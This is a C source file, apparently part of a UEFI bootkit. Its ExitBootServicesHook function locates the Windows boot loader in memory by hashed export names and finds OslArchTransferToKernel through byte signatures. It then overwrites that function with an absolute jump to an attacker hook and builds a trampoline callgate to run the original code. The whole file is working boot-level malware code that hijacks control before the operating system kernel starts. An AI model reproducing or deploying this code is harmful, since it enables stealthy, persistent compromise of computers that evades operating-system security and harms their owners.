117 lines
4.0 KiB
C
117 lines
4.0 KiB
C
|
#include "Common.h"
|
||
|
|
||
|
D_SEC( B ) EFI_STATUS EFIAPI ExitBootServicesHook( EFI_HANDLE ImageHandle, UINTN Key )
|
||
|
{
|
||
|
SIZE_T Osl = 0;
|
||
|
|
||
|
PVOID Osp = NULL;
|
||
|
PEFTBL Eft = NULL;
|
||
|
PUINT8 Ptr = NULL;
|
||
|
PIMAGE_DOS_HEADER Dos = NULL;
|
||
|
PIMAGE_NT_HEADERS Nth = NULL;
|
||
|
PIMAGE_SECTION_HEADER Sec = NULL;
|
||
|
PIMAGE_DATA_DIRECTORY Dir = NULL;
|
||
|
PIMAGE_EXPORT_DIRECTORY Exp = NULL;
|
||
|
|
||
|
/* Get pointer to EFI Table */
|
||
|
Eft = C_PTR( G_PTR( EfTbl ) );
|
||
|
|
||
|
/* Find the return address and align it to the bottom of the page */
|
||
|
Dos = C_PTR( __builtin_extract_return_addr( __builtin_return_address( 0 ) ) );
|
||
|
Dos = C_PTR( U_PTR( U_PTR( Dos ) &~ ( 0x1000 - 1 ) ) );
|
||
|
|
||
|
do
|
||
|
{
|
||
|
/* Is this the MZ magic? */
|
||
|
if ( Dos->e_magic == IMAGE_DOS_SIGNATURE ) {
|
||
|
if ( Dos->e_lfanew < 0x100 ) {
|
||
|
/* Get NT header */
|
||
|
Nth = C_PTR( U_PTR( Dos ) + Dos->e_lfanew );
|
||
|
|
||
|
if ( Nth->Signature == IMAGE_NT_SIGNATURE ) {
|
||
|
/* Abort */
|
||
|
break;
|
||
|
};
|
||
|
};
|
||
|
};
|
||
|
/* Decrement */
|
||
|
Dos = C_PTR( U_PTR( Dos ) - 0x1000 );
|
||
|
} while ( TRUE );
|
||
|
|
||
|
/* Get pointer to the export table data directory */
|
||
|
Dir = & Nth->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||
|
|
||
|
if ( Dir->VirtualAddress ) {
|
||
|
/* Get pointer to the export address table */
|
||
|
Exp = C_PTR( U_PTR( Dos ) + Dir->VirtualAddress );
|
||
|
|
||
|
/* Is our target boot services driver? */
|
||
|
if ( HashString( C_PTR( U_PTR( Dos ) + Exp->Name ), 0 ) == 0x8deb5a3a ||
|
||
|
HashString( C_PTR( U_PTR( Dos ) + Exp->Name ), 0 ) == 0x64255bfd ||
|
||
|
HashString( C_PTR( U_PTR( Dos ) + Exp->Name ), 0 ) == 0x64259d80 )
|
||
|
{
|
||
|
/* Get PE Section header */
|
||
|
Sec = IMAGE_FIRST_SECTION( Nth );
|
||
|
|
||
|
/* Enumerate all PE Sections */
|
||
|
for ( INT Idx = 0 ; Idx < Nth->FileHeader.NumberOfSections ; ++Idx ) {
|
||
|
/* Is this .text section? */
|
||
|
if ( HashString( & Sec[ Idx ].Name, 0 ) == 0x0b6ea858 ) {
|
||
|
for ( INT Jdx = 0 ; Jdx < Sec[ Idx ].SizeOfRawData ; ++Jdx ) {
|
||
|
/* Get a pointer to the current instruction */
|
||
|
Ptr = C_PTR( U_PTR( Dos ) + Sec[ Idx ].VirtualAddress + Jdx );
|
||
|
|
||
|
/* OslArchTransferToKernel Signature x1 */
|
||
|
if ( Ptr[ 0x00 ] == 0x33 && Ptr[ 0x01 ] == 0xf6 &&
|
||
|
Ptr[ 0x15 ] == 0x48 && Ptr[ 0x16 ] == 0x8d && Ptr[ 0x17 ] == 0x05 &&
|
||
|
Ptr[ 0x1c ] == 0x48 && Ptr[ 0x1d ] == 0x8d && Ptr[ 0x1e ] == 0x0d &&
|
||
|
Ptr[ 0x23 ] == 0x0f && Ptr[ 0x24 ] == 0x01 && Ptr[ 0x25 ] == 0x10 &&
|
||
|
Ptr[ 0x26 ] == 0x0f && Ptr[ 0x27 ] == 0x01 && Ptr[ 0x28 ] == 0x19 )
|
||
|
{
|
||
|
Osp = C_PTR( Ptr );
|
||
|
Osl = 14;
|
||
|
break;
|
||
|
};
|
||
|
|
||
|
/* OslArchTransferToKernel Signature x2 */
|
||
|
if ( Ptr[ 0x00 ] == 0x33 && Ptr[ 0x01 ] == 0xf6 &&
|
||
|
Ptr[ 0x17 ] == 0x48 && Ptr[ 0x18 ] == 0x8d && Ptr[ 0x19 ] == 0x05 &&
|
||
|
Ptr[ 0x1e ] == 0x48 && Ptr[ 0x1f ] == 0x8d && Ptr[ 0x20 ] == 0x0d &&
|
||
|
Ptr[ 0x25 ] == 0x0f && Ptr[ 0x26 ] == 0x01 && Ptr[ 0x27 ] == 0x10 &&
|
||
|
Ptr[ 0x28 ] == 0x0f && Ptr[ 0x29 ] == 0x01 && Ptr[ 0x2a ] == 0x19 )
|
||
|
{
|
||
|
Osp = C_PTR( Ptr );
|
||
|
Osl = 16;
|
||
|
break;
|
||
|
};
|
||
|
|
||
|
/* Note: Add x86 signatures here if you want x86 support */
|
||
|
};
|
||
|
/* .text is found */
|
||
|
break;
|
||
|
};
|
||
|
};
|
||
|
/* Has the pointer to the function? */
|
||
|
if ( Osp != NULL ) {
|
||
|
/* Copy over the callgate. */
|
||
|
__builtin_memcpy( C_PTR( G_PTR( EfClg ) ), Osp, Osl );
|
||
|
|
||
|
/* Insert hook into OslArchTransferToKernel */
|
||
|
*( PUINT16 )( C_PTR( U_PTR( Osp ) + 0x00 ) ) = ( UINT16 )( 0x25FF );
|
||
|
*( PUINT32 )( C_PTR( U_PTR( Osp ) + 0x02 ) ) = ( UINT32 )( 0 );
|
||
|
*( PUINT64 )( C_PTR( U_PTR( Osp ) + 0x06 ) ) = ( UINT64 )( C_PTR( G_PTR( OslArchTransferToKernelHook ) ) );
|
||
|
|
||
|
/* Insert jump callgate */
|
||
|
*( PUINT16 )( C_PTR( U_PTR( G_PTR( EfClg ) ) + Osl + 0x00 ) ) = ( UINT16 )( 0x25FF );
|
||
|
*( PUINT32 )( C_PTR( U_PTR( G_PTR( EfClg ) ) + Osl + 0x02 ) ) = ( UINT32 )( 0 );
|
||
|
*( PUINT64 )( C_PTR( U_PTR( G_PTR( EfClg ) ) + Osl + 0x06 ) ) = ( UINT64 )( C_PTR( U_PTR( Osp ) + Osl ) );
|
||
|
|
||
|
/* Store the callgate address */
|
||
|
Eft->OslArchTransferToKernelGate = C_PTR( G_PTR( EfClg ) );
|
||
|
};
|
||
|
};
|
||
|
};
|
||
|
/* Execute original function */
|
||
|
return Eft->ExitBootServices( ImageHandle, Key );
|
||
|
};
|